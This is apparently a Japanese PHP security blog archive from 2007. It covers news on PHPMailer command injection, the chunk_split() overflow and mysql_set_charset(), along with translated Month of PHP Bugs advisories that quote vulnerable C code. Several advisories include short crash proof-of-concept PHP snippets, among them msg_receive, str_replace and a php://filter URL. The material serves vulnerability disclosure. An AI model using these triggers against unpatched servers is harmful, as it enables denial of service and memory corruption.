セッションモジュールはサブモジュールを持つ構造になっているので、基本的には各サブモジュール(セーブハンドラ)で制限するべきと思います。シリアライザやセッションモジュール本体で制限すると、全てのセーブハンドラ用に制限しなければならないですし、本体やシリアライザの制限でセッションセーブハンドラの拡張性が損なわれてしまいます。
私は気にしている一人ですが、あまり気にされていないのでしょうね...
コメントを残す
PHPMailerコマンドインジェクション - WordPress, Mantis, WebCalendar, Group-Office, Joomla, etc
リンク: http://larholm.com/2007/06/11/phpmailer-0day-remote-execution/
個人的には影響ないですがいろいろなアプリケーションで使われているPHPMailerと言うクラスにコマンドインジェクションの脆弱性があったようです。リンク先を見ればescapeshellarg()かescapeshellcmd()でエスケープすべき個所がエスケープされていない事が分かります。
どの位危険か?と言うと簡単にサーバを乗っ取られる(不正なプロセスを実行される等。プロキシ、SPAMメール中継、SSHアカウントクラック、DoS、etc)くらい危険です。対処が必要な方は早く対処すべきです。
以下はfull-disclosureのメールです。
PHPMailer is a widely deployed utility class used in PHP application to
handle emails sent through sendmail, PHP mailto() or SMTP. It is used in PHP applications such as WordPress, Mantis, WebCalendar, Group-Office and Joomla. The last official release happened on July 11, 2005.If you have configured PHPMailer to use sendmail it has a remote command execution vulnerability due to a lack of input validation. sendmail isqueried through the popen function which is called with a string constructed from non-escaped user input.
http://larholm.com/2007/06/11/phpmailer-0day-remote-execution/
Cheers
Thor Larholm
追記:調査を行っていないので何となくですが、ファイルインクルードバグよりコマンドインジェクションバグの方が悪用される確率が高いような気がしています。脆弱性的にはファイルインクルードバグの方が強力ですが、攻撃用コードを別ホストに配置するのが面倒なのか(?)コマンドインジェクションの方が悪用されているような気がします。
# ファイルインクルードバグには攻撃用コードを
# 直接挿入できる場合もあります。
フィードバックはまだありません...
コメントを残す
PHP 5.2.3のchunk_split()は未修整だった...
リンク: http://blog.php-security.org/archives/86-Chunk_split-Overflow-not-fixed-at-all....html
http://blog.php-security.org/archives/84-PHP-5.2.3-released....html にも書いてあるのですが、PHP 5.2.3ではchunk_split()が直っているハズだったのですが直っていませんでした。
Fixed an integer overflow inside chunk_split() (by Gerhard Wagner, CVE-2007-2872)
直したつもりが整数オーバーフローが発生するコードになっており、ヒープオーバーフローが発生します...
CVSには修正コードがコミットされています。
http://cvs.php.net/viewvc.cgi/php-src/ext/standard/string.c?r1=1.445.2.14.2.60&r2=1.445.2.14.2.61
Fix chunk_split fix - avoid using floats
Fix money_format - don't give strfmon more arguments then supplied
Fix str[c]spn integer overflow
他のセキュリティFIXもあるのでPHP 5.2.4のリリースは近い(?)かな...
Cのコードを読める方なら気が付くと思いますが、整数オーバーフローによりdestバッファに十分なメモリが割り当てられない問題に対してint型の変数とINT_MAXを比較、符号のチェックをしても意味がないのは明白です。(負の値になった時しかチェックしていないので対策になっていない)
この指摘に対してBogusだとかFUDだとか言われるのは非常に心外だと思います。セキュリティ問題に対して正しい姿勢や理解を持っていない開発者と話をするのはかなりの疲労を伴う作業だ、という事がStefanさんのブログからは分かります... 文面からも最近フラストレーションが溜まっているような気もします。コードをチェックするStefanさんがいるPHPといないPHPでは安全性に大きな違いが発生すると思います。Hardened-PHPやMOPBをサポートするにはPayPalによる寄付もありますが応援メールも有効です。(こういうメールは英語が下手でも問題はないです)
モデレーション待ちのフィードバック
この投稿にはモデレーション待ちのフィードバックが 1 件あります....
コメントを残す
PHP 5.2.3リリース
日本語環境でMySQLを利用している方には、リリースノートに記載されているmysql_set_charset()の追加に重要な意味がある方も多いと思います。
Added mysql_set_charset() to allow runtime altering of connection encoding.
PHP4にはまだ追加されていませんがかなり重要なセキュリティフィックスだと思います。mysql_set_charset()はlibmysqlのmysql_set_character_set()の簡単なラッパー関数です。
http://dev.mysql.com/doc/refman/4.1/en/mysql-real-escape-string.html
"If you need to change the character set of the connection, you should use the mysql_set_character_set() function rather than executing a SET NAMES (or SET CHARACTER SET) statement. mysql_set_character_set() works like SET NAMES but also affects the character set used by mysql_real_escape_string(), which SET NAMES does not"
つまりSET NEMESだと文字エンコーディングを利用したSQLインジェクションに脆弱となる可能性があります。共有型サービスを利用されている場合、SET NAMESを使用している方も多いと思います。
ググってみると2005年11月には日本のMySQLユーザ会MLでは問題が認識されていたようです。
フィードバックはまだありません...
コメントを残す
PostgreSQLカンファレンス2007
リンク: http://www.postgresql.jp/news/postgresql30ab30f330d530a130ec30f330b92007
明日開催されるPostgreSQL2007は会場費等の為に2000円でローソンチケットでチケットを販売していました。ローソンチケット分は完売で現在購入できないそうです。しかし、当日券を会場にて販売(当日券は3000円だそうです)するそうです。もしチケットを入手できなかった方は現金で購入できるそうです。領収書も発行できるので仕事の都合がつく方は是非お越しください。
フィードバックはまだありません...
コメントを残す
PostgreSQLカンファレンス2007
リンク: http://www.postgresql.jp/news/postgresql30ab30f330d530a130ec30f330b92007
最近忙しすぎてブログの更新が全くできない状態がつづいていますが、PostgreSQLカンファレンス2007が2007/6/5(火)に秋葉原UDXにて開催されます。私もRoom C(定員60名: 16:00~16:55)で講師を務めさせていただきます。私がメールを読んでいなかった為、私の資料は印刷物には入っていません... この為当日自分で持って行くことになってしました...
# 関係者の皆様、ご迷惑をおけしました。
Room C(60名)16:00~16:55
WEB+DBアプリケーションのセキュリティ(仮)
PHPユーザ会/日本PostgreSQLユーザ会
大垣靖男 様
セキュリティ対策はまず基礎知識から、ということでPostgreSQLを安全に利用するための基礎知識を解説させていただきます。今回は初めてデモを予定しています。SQLインジェクションに脆弱だといかに簡単に不正にデータを取得したり、データベース設計を解析できるかをデモンストレーションする予定です。SQLインジェクションに再確認されたい方、SQLインジェクションは知っているがどの程度の攻撃が可能か詳しく知らない方であれば、PostgreSQLユーザのみでなく、全てのSQLデータベースを利用されている開発者に有用な講演になると思います。
ローソンチケットによるとまだチケット(2000円です。会場費などに利用されます)は買えるようです。いろいろ有用なセミナーがそろっています。都合が良い方は是非お越しください。
1 コメント
---------------------------
ローソンでチケットを購入する方法はいくつかあります。
1) 電話予約
0570-084-003 の自動応答電話
チケット引取り: ローソン各店舗
支払方法: 現金、クレジットカード
2) ローソン店舗内のLoppiで購入
支払方法: 現金、クレジットカード
3) プレイガイドで購入
サブナード地下街総合案内所 (東京・新宿)
日本旅行OMCトラベル碑文谷店 (東京・目黒)
日本旅行OMCトラベルいちかわコルトンプラザ店 (千葉・市川)
日本旅行OMCトラベル金沢八景店 (横浜・金沢八景)
支払い方法: 現金、クレジットカード
4) Webで購入
http://www2.lawsonticket.com/
有料の会員登録が必要
チケット引取り: ローソン各店舗
支払い方法: 現金、クレジットカード
5) 各携帯の公式サービス
有料の会員登録が必要
チケット引取り: ローソン各店舗
支払い方法: 現金、クレジットカード
コメントを残す
CAPTCHAをお金で...
リンク: http://ha.ckers.org/blog/20070427/solving-captchas-for-cash/
SPAMはお金になる、ということでCAPTCHAを解読して売っているそうです。
1000のCAPTCHAを解読して7~15$だそうです。一時間に数百くらいしか解読できないと思われるので、日本なら普通のバイトの方がよっぽど儲かります。しかし途上国では特別なスキルなしに収入になるのでこのような低報酬でも十分です。
CAPTCHAも使い物にならなくなるとSPAM対策は非常に難しくなります...
1 コメント
そうすると、人手が安く使えるようになります。
コメントを残す
VMWare上のUbuntu 7.0、CentOS5
VMWare上にUbuntu 7.0をインストール(正確には6.xから7.04にアップグレード)してみました。6.xのときからvmwareのマウスドライバがインストールされないため、ホスト・ゲストOS上でマウスカーソールが移動できませんでした。
あまり気にしていなかったのですがCentOS5をゲストOSとしてインストールしても同じようにマウスポインタが移動できません。さすがに2つのゲストOSでマウスポインタが思ったように動作しないのは面倒なので調べてみることにしました。
CentOS5の/etc/X11/xorg.confをvmwareのマウスドライバを使用するようにすると動作するようになりました。
Section "InputDevice"
Identifier "Mouse0"
Driver "vmmouse"
Option "CorePointer"
Option "Device" "/dev/input/mice"
Option "Protocol" "IMPS/2"
Option "ZAxisMapping" "4 5"
EndSection
Ubuntuの方はvmmouseドライバを指定するとドライバファイルが見付からないためXが起動しなくなりました。
ln -s /usr/lib/vmware-tools/configurator/XOrg/7.0/vmmouse_drv.so /usr/lib/xorg/modules/input/vmmouse_drv.so
とするとドライバをロードしマウスが期待どおり動作するようになりました。Ubuntu 7.0のXorgは7.2ですが7.0のドライバでも問題なく動作するようです。
フィードバックはまだありません...
コメントを残す
MOBPを訳し終えて
もう何年か前になりますがStefanさんがPHPプロジェクトへの貢献を始めたころ「整数オーバーフローの修正はセキュリティ脆弱性なのでそのことを明記すべき」と指摘した事がありました。信じがたいかもしれませんが「攻撃可能かどうか分からないし脆弱性でなく普通のバグ修正だ」と主張する開発者がいたためPHPのこの手のヒープオーバーフローセキュリティ修正は「fixed crash」とCVSログに書いてあるだけの場合が多く、NEWSファイルにも記載されない事が当たり前になっていました。
同じく何年も前になりますが、Stefanさんが「PHPのソースディストリビューションのMD5サムをphp.netサイトで公開すべき」と主張した際にも「なぜ?必要ないでしょう」と返す開発者もいました。(公式ミラー、非公式のコピーなどを全く考慮していない発言)幸いMD5サムは必要であると開発者コミュニティで合意が取れたので追加されることになりましたが...
私がregister_globals=offをデフォルトにしては?コード管理の為にリリースブランチを作っては?と提案した場合も合意に至るまでかなり長い議論が必要でした。
万事がこういった状態だったのでセキュリティに対する理解が足りない開発者に対してMOPBは必要だったと考えています。MOPBが行われたことによりPHPプロジェクトがよりセキュリティに対して敏感かつ想像力をもって対処できるようになると思っています。
それにしてもStefanさんの粘り強さは感嘆に値します。この何年間にもわたりセキュリティ意識のギャップが大きい開発者と議論し、正しい意見であるにも関わらずその意見を無視されてきたにも関わらず、諦めなかったことは全てのPHPユーザにとって非常に大きな利益です。
私とPHPのセキュリティについて話をされた事がある方は「PHPを安全に利用するには最新版PHP、それもPHP5系を利用しなければならない」と言っていた事を覚えているかと思います。私は実際に攻撃コードを考案するまでには至りませでしたがMOPBは非常に多くのコード実行脆弱性を明らかにしました。MOPBを日本のユーザにも読みやすいよう翻訳したことによりアップグレードの重要性、正しいセキュリティ対策の重要性を理解して頂けたと思います。改めてMOPBの和訳を快く許可して頂いたStefanさんに感謝します。
MOPBは終わりましたが http://www.php-security.org/ でのアドバイザリが終了した訳ではありません。これ以降のアドバイザリは私のブログでの翻訳は行いませんが、今後もこのサイトには注目は必要です。
2 コメント
今回のMoPBで指摘された項目のなかでCVE番号どの脆弱性がいつ修正されたのか?PHPプロジェクトのWebページを見てもわからず途方にくれていました
StefanさんやOhgakiさんの働きかけがあってもなお、他のオープンソースのプロジェクトと比較してセキュリティに関して消極的という印象を受けてしまいます。
MOPBで公開された脆弱性のCVE番号は順次割り当てられていますが、Webサイトの方は更新されていないのでCVEとの関連が分かり辛いです。反対にCVEからMOPBの番号を参照した方が分かりやすいと思います。
コメントを残す
MOPB-44-2007:PHP 5.2.0 Memory Manager Signed Comparision Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-44-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-37-2007.php
■リファレンス
なし
■サマリ
PHP 5.2.0から導入された新しいZendのメモリマネージャは間違って数値を符号付き整数にキャストして比較しています。これにより非常に大きなメモリ確保は負の値となり、最小のメモリしか確保されません。この脆弱性はPHPの中に攻撃可能な多くのバッファオーバーフローを引き起こします。例えば、PHPのHTTP SOAPクライアントはこの脆弱性によりリモートから攻撃可能です。
■影響するバージョン
PHP 5.2.0
■詳細情報
emalloc()関数によってメモリが割り当てられる際に、新しいZendメモリマネージャは内部の_zend_mm_alloc_int()関数でリクエストを処理します。_zend_mm_aloc_int()関数ははじめにZEND_MM_TRUE_SIZEマクロによって実際にリクエストされたメモリブロックの大きさを決定します。これは以下のコードで行われています。
static void *_zend_mm_alloc_int(zend_mm_heap *heap, size_t size ZEND_FILE_LINE_DC ...)
{
size_t true_size, best_size = 0x7fffffff;
zend_mm_free_block *p, *end, *best_fit = NULL;
true_size = ZEND_MM_TRUE_SIZE(size);
The macro expands to
(((long)size<(long)ZEND_MM_MIN_SIZE)?(ZEND_MM_ALIGNED_MIN_HEADER_SIZE):
(ZEND_MM_ALIGNED_SIZE(size+ZEND_MM_ALIGNED_HEADER_SIZE+END_MAGIC_SIZE)))
理由は不明ですがこのコードの作者は比較の前にsizeを符号付きlongにキャストしています。これにより非常に大きなメモリブロックのリクエストは通常はメモリ不足の状態になり、メモリ不足の場合は0バイトのメモリが要求されたように処理されます。
これにより多くの異なる個所のPHPコードが攻撃可能になります。メモリが確保できない場合通常の状態ではスクリプトの実行が停止されるべきですが、小さすぎるメモリブロックが確保され戻されるからです。
■PoC、攻撃コードまたは再現手順
我々はこの脆弱性は非常に危険な問題であると判断しているので、PoCの公開は控えます。HTTP SOAPクライアントに対するリモート攻撃コードPoCは作成済みです。
■備考
この非常に危険な脆弱性がMonth of PHP Bugsの最後です。我々は約束した問題の調査行い、新しい発見があった場合はアドバイザリを更新します。しかし、新しいバグを毎日公開するのはこれで終わりです。PHPのような大きさのコードに対する監査プロジェクトは数日で行えるようなものではありませんし、新しいコードはPHPのソースツリーに毎日追加されているので、MOPBは数ヵ月後にまた再開されるかもしれません。私たちは現時点でのすべてのPHPのセキュリティ問題を発見したと考えてはいません。反対にPHPにはまだ公開されていない脆弱性があります。
我々の提案はまだ有効です。我々によって行われるもし別のPHP監査に協力していただける場合、私たちに連絡して頂ければ幸いです。
フィードバックはまだありません...
コメントを残す
MOPB-43-2007:PHP msg_receive() Memory Allocation Integer Overflow Vulnerabilty
リンク: http://www.php-security.org/MOPB/MOPB-43-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-37-2007.php
■リファレンス
なし
■サマリ
msg_receive()関数のmaxsize引数は確認無しにメモリ確保に利用されています。整数オーバーフローが可能となり小さすぎるバッファが確保され為、攻撃可能なバッファオーバーフローを引き起こします。Linuxシステムでは内部のmsgrcv()関数が負のmaxsizeを受け付けないためバッファオーバーフローは発生しません。しかし、例えばFreeBSDではこのバグが攻撃可能であることは証明されています。
■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満
■詳細情報
PHP関数のmsg_receive()はmaxsize引数の値を全くチェックせず直接メモリ確保に利用し、整数オーバーフローが発生可能になっています。脆弱なコードは以下のコードです。
PHP_FUNCTION(msg_receive)
{
...
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlzlz|blz",
&queue, &desiredmsgtype, &out_msgtype, &maxsize,
&out_message, &do_unserialize, &flags, &zerrcode) == FAILURE) {
return;
}
...
messagebuffer = (struct php_msgbuf *) emalloc(sizeof(struct php_msgbuf) + maxsize);
result = msgrcv(mq->id, messagebuffer, maxsize, desiredmsgtype, realflags);
例えば、maxsizeが-1でmsgrcv()関数が負の値でも動作する場合、整数オーバーフローを発生させます。我々のテストではLinuxは-1を拒否しているようでした。しかし、FreeBSDではオーバーフローは発生し、攻撃可能でした。
■PoC、攻撃コードまたは再現手順
この脆弱性をテストするには以下のコードを実行します。
<?php
$MSGKEY = 519052;
$msg_id = msg_get_queue ($MSGKEY, 0600);
if (!msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
echo "Msg not sent because $msg_err\n";
if (msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
echo "$msg\n";
} else {
echo "Received $msg_error fetching message\n";
break;
}
msg_remove_queue ($msg_id);
?>
このPoCはバッファをオーバーフローさせFreeBSDシステム上などではクラッシュします。コード実行を行う攻撃コードは将来このサイトに追加されます。
■備考
このMOPB最後の脆弱性は整数オーバーフローなしでも、正の数の最大値をmax_length引数に設定することにより攻撃可能です。この場合、攻撃はLinuxに対しても可能です。
フィードバックはまだありません...
コメントを残す
MOPB-42-2007:PHP 5 php_stream_filter_create() Off By One Vulnerablity
リンク: http://www.php-security.org/MOPB/MOPB-42-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-42-2007.php
■リファレンス
なし
■サマリ
php_stream_filter_create()関数は容易にコーディングが行えるようフィルタ名にワイルドカードをサポートしています。フィルタ名が分からずフィルタ名にドットがある場合、それ以降は切り詰められ*が追加されます。この処理はフィルタ名がドットで終了する場合に必要な追加のバイトを考慮していません。この結果php://filter URLにアクセスするとオフバイワン脆弱性が発生します。
■影響するバージョン
PHP 5.2.1未満
■詳細情報
php_stream_fileter_create()関数によってフィルタが作成される際には、最初にフィルタ名のハッシュテーブルが検索され、見つからない場合は要求されたフィルタをサポートするワイルドカードフィルタないか検索します。これは以下のコードにより処理されます。
if (SUCCESS == zend_hash_find(filter_hash, (char*)filtername, n, (void**)&factory)) {
filter = factory->create_filter(filtername, filterparams, persistent TSRMLS_CC);
} else if ((period = strrchr(filtername, '.'))) {
/* try a wildcard */
char *wildname;
wildname = estrdup(filtername);
period = wildname + (period - filtername);
while (period && !filter) {
*period = '\0';
strcat(wildname, ".*");
if (SUCCESS == zend_hash_find(filter_hash, wildname, strlen(wildname), (void**)&factory)) {
filter = factory->create_filter(filtername, filterparams, persistent TSRMLS_CC);
}
*period = '\0';
period = strrchr(wildname, '.');
}
efree(wildname);
}
この関数はドットでフィルタ名が終了する場合に必要なバイト分を保持していないので、決してフィルタ名がドットで終了しないことを仮定していることは明らかです。この為、ドットで終了するフィルタ名はオフバイワンオーバーフローを発生させ、バッファの最後のバイトの次のアドレスに\0文字を書き込みます。
この脆弱性が攻撃可能かどうかはヒープの実装に大きく依存しています。PHP 5.2.0の新しいメモリマネージャはこの脆弱性の攻撃をリトルエンディアンシステムで可能にしています。
■PoC、攻撃コードまたは再現手順
この脆弱性をテストするには以下のコードを実行します。
<?php
$url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd";
fopen($url, "r");
?>
このPoCは1バイトのバッファオーバーフローを発生させます。ヒープの実装によってはPHPはクラッシュするかもしれませんし、何事もなかったように実行されるかもしれません。PHP 5.2.0ではビープブロックの長さを保持しているアドレスの下位バイトを上書きするので常にクラッシュします。もしSuhosinパッチを適用している実行している場合、オーバーフロー警告を発生させプロセスを終了します。コード実行を行う攻撃コードは将来このサイトに追加されます。後ほど確認してください。
■備考
この脆弱性がローカルからの攻撃可能な脆弱性と考えないでください。攻撃はphp://filter URLで可能でありallow_url_fopenやallow_url_include設定にはかかわらず攻撃できます。include脆弱性やファイル関数にURLを指定できる場合、リモートからバッファオーバーフローを攻撃できます。
フィードバックはまだありません...
コメントを残す
MOPB-41-2007:PHP 5 sqlite_udf_decode_binary() Buffer Overflow Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-41-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-37-2007.php
■リファレンス
なし
■サマリ
sqlite_udf_decode_binary()関数が0x01の1バイトのみを含む文字列で呼ばれると、sqlite_decode_binary()を空の文字列で呼び出すことになります。これは攻撃可能なバッファオーバーフローを引き起こします。
■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満
■詳細情報
sqlite_udf_decode_binary()関数は渡された無効な引数を正しく処理しません。引数の文字列が\x01のみを含む場合、sqliteライブラリのsqlite_decode_binary()の呼び出しが空の文字列を引数として行われます。しかし、これはsqliteのAPIでサポートされておらず、少なくとも1バイト以上の長さが必要です。
int sqlite_decode_binary(const unsigned char *in, unsigned char *out){
int i, e;
unsigned char c;
e = *(in++);
i = 0;
while( (c = *(in++))!=0 ){
if( c==1 ){
c = *(in++) - 1;
}
out[i++] = c + e;
}
return i;
}
sqlite_decode_binary()が空の文字列で呼ばれると、ASCIIZ(訳注:NULLバイト)の終端を超えて、次のASCIIZ文字が現れるまでの出たーをコピーします。これは標準関数のstrcpy()のオーバーフローと似ています。
■PoC、攻撃コードまたは再現手順
この脆弱性をテストするには以下のコードを実行します。
<?php
$z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
$y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
$x = "AQ ";
unset($z);
unset($y);
$x = base64_decode($x);
$y = sqlite_udf_decode_binary($x);
unset($x);
?>
このPoCはPHPをクラッシュさせるだけです。コード実行の攻撃コードは将来このサイトに掲載されます。後ほど確認してください。
■備考
この脆弱性はバンドルされたsqliteライブラリを、空の文字列での呼び出しに対して強化することにより修正されました。しかし、PHPが外部の共有ライブラリを利用している場合、PHP5.2.1または4.4.6にアップグレード後も脆弱な状態となります。
フィードバックはまだありません...
コメントを残す
MOPB-40-2007:PHP imap_mail_compose() Boundary Stack Buffer Overflow Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-40-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-40-2007.phpの予定
■リファレンス
なし
■サマリ
マルチパートのEメールを作成する為に利用されるPHPのimap_mail_compose()関数は、長すぎるバウンダリ文字列が渡されるとスタックバッファがオーバーフローします。これは任意コードの実行を許します。
■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満
■詳細情報
imap_mail_compose()関数はtmpと呼ばれる固定のスタックバッファを利用してマルチパートメールを作成します。
PHP_FUNCTION(imap_mail_compose)
{
...
char tmp[8 * MAILTMPLEN], *mystring=NULL, *t=NULL, *tempstring=NULL;
マルチパートメッセージが作成される場合、最初に入力引数からBOUNDARYが読み込まれサイズチェックなしでsprintfによってスタックバッファにコピーされます。
if (bod && bod->type == TYPEMULTIPART) {
/* first body part */
part = bod->nested.part;
/* find cookie */
for (param = bod->parameter; param && !cookie; param = param->next) {
if (!strcmp (param->attribute, "BOUNDARY")) {
cookie = param->value;
}
}
/* yucky default */
if (!cookie) {
cookie = "-";
}
/* for each part */
do {
t=tmp;
/* build cookie */
sprintf (t, "--%s%s", cookie, CRLF);
これがバッファオーバーフローを許すことは明らかです。
■PoC、攻撃コードまたは再現手順
この脆弱性をテストするには以下のコードを実行します。
このPoCはPHPをクラッシュさせるだけです。しかし、コード実行攻撃は通常通りの手法です。攻撃コードは詳細このサイトに追加されます。後ほど確認してください。
■備考
この脆弱性は08/15のスタックバッファオーバーフローの再現です。
フィードバックはまだありません...
コメントを残す
MOPB-39-2007:PHP str_replace() Memory Allocation Integer Overflow Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-39-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-39-2007.phpの予定
■リファレンス
なし
■サマリ
str_replace()関数が1文字を長い文字列で置換するように呼び出され、その1文字が置換対象の文字列に非常に多く含まれている場合、バッファのサイズが計算される際に整数オーバーフローが発生します。小さすぎるバッファはオーバーフローを引き起こします。
■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満
■詳細情報
str_replace()関数が呼ばれる場合、置換対象の文字列の長さによって2つの別の経路でコードを実行します。1文字の検索文字列はより効率的に処理するために別の関数で処理されます。しかし、より効率的なコードは整数オーバーフロー脆弱性を含んでいます。
Z_STRLEN_P(result) = len + (char_count * (to_len - 1));
Z_STRVAL_P(result) = target = emalloc(Z_STRLEN_P(result) + 1);
Z_TYPE_P(result) = IS_STRING;
例えば、char_countとto_len両方が65537以上の場合、32ビットのカウンタがオーバーフローするのは明らかです。このため、emalloc()によって十分なメモリが割り当てられません。置換が行われる際にバッファーオーバーフローを引き起こします。攻撃を成功させるには目的のバッファは、オーバーフローで上書きできコピーがクラッシュを起こす前に終了するよう、置換対象の文字列の前に配置されなければなりません。
■PoC、攻撃コードまたは再現手順
この脆弱性をテストするには以下のコードを実行してください。
<?php
str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538));
?>
このPoCはPHPをクラッシュさせるだけです。この脆弱性を利用したコード実行攻撃は将来このサイトい追加されます。後ほど確かめてください。
■備考
解説した問題はPHP 4.4.5, PHP 5.2.1で修正されました。しかし、PHP 4.4.5, PHP 5.2.1より前のセキュリティフィックスは壊れており、同じ個所でオフバイワンオーバーフローに脆弱でした。置換文字を別の文字に置き換える場所で発生します。
新しくリリースされたPHP 4.4.6はオフバイワン脆弱性が修正されていますが、PHP 5.2.1には修正がありません。
フィードバックはまだありません...
コメントを残す
MOPB-38-2007:PHP printf() Family 64 Bit Casting Vulnerabilities
リンク: http://www.php-security.org/MOPB/MOPB-38-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-37-2007.phpの予定
■リファレンス
なし
■サマリ
printf()関数と類似の関数に利用されるヘルパー関数は符号なしの63ビット整数を返します。しかし、内部的には32ビット整数の結果が保存されています。32ビットへのトランケートにより、結果の整数は、異なる実行パスによって呼び出されると、検出されずに負の値になることがあります。この動作により2種類の攻撃可能なメモリ破壊が可能となります。
■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満
■詳細情報
printf()と類似の関数は内部的にフォーマット文字列をパースし、フォーマット既述子を処理する、php_formatted_print()関数を利用しています。この関数は通常のフォーマット文字列、$修飾子により既述子の番号を選択可能とし幅と精度を指定できます。この関数は正の値、幅、精度のみ受け付けます。これらの3つの値はphp_sprintf_getnumber()関数によって取り出されます。
inline static long
php_sprintf_getnumber(char *buffer, int *pos)
{
char *endptr;
register long num = strtol(&buffer[*pos], &endptr, 10);
register int i = 0;
if (endptr != NULL) {
i = (endptr - &buffer[*pos]);
}
PRINTF_DEBUG(("sprintf_getnumber: number was %d bytes long\n", i));
*pos += i;
return num;
}
残念ながら、内部的にはこの関数は64ビットシステム上では64bit幅のlong型として動作します。呼び出し側のコードは番号は数字で始まりマイナス符号で始まらず、結果が常に正のlong数値になるようにしています。しかし、既述子の数、幅と精度はintとして保存され、64ビットから32ビットへの変換は負の値になる場合があります。
これは2つの問題を発生させます。はじめに、記述子の数は最大値のチェックだけ行い、負の値はありえないと仮定し、正しく処理していません。これにより64ビットシステムでは任意のメモリアドレスを参照可能としています。この問題は任意のメモリアドレス情報の漏えいか攻撃可能なメモリ破壊をもたらします。
2つ目の問題はこのキャスト脆弱性によって"s"フォーマット記述子php_sprintf_appendstring()を利用する関数に発生します。幅と-1の精度が指定されるとバッファ位置から1つ前の位置となります。このパターンを繰り返すことにより、ポインタの位置を実際のヒープのバッファより前の設定できます。内部のバッファのポインタがヒープの制御構造に位置するとフォーマット文字列の文字で書きかえることができます。
両方の攻撃経路はコード実行を可能にしますが、2つめの経路は簡単かつ確実に、リモートから、攻撃できます。
C言語のフォーマット文字列脆弱性と異なりPHPのフォーマット文字列脆弱性は64bitシステムでのみ攻撃でき、少なくともフォーマット文字列の後の引数1つがprintf()か類似の関数であることです。
■PoC、攻撃コードまたは再現手順
POC will be released during the next week
■備考
解説した問題は我々が問題を報告した後、PHP開発者によってPHP 4.4.5とPHP 5.2.1で修正され、新たに生まれたPHPアプリケーションのフォーマット文字列脆弱性は既に消滅したはずです。
フィードバックはまだありません...
コメントを残す
MOPB-37-2007:PHP iptcembed() Interruption Information Leak Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-37-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-37-2007.php
■リファレンス
なし
■サマリ
関数がリファレンスを受け入れる場合(デフォルト設定で受け入れるようになっている)悪意のあるユーザ定義エラーハンドラで関数が既に実行を開始しパラメータを変更した後に割り込みが可能です。このアドバイザリは関数を使って任意のメモリアドレスを読み込む例となっています。iptcembed()関数はこの種の脆弱性の例で、攻撃者は任意のヒープメモリのリークに利用できます。
■影響するバージョン
PHP 4.4.6以下、PHP 5.2.1以下
■詳細情報
iptcembed()関数が呼ばれると、3つの引数が定義されている形式に変換されます。
if (zend_get_parameters_ex(3, &iptcdata, &jpeg_file, &spool_flag) == FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(iptcdata);
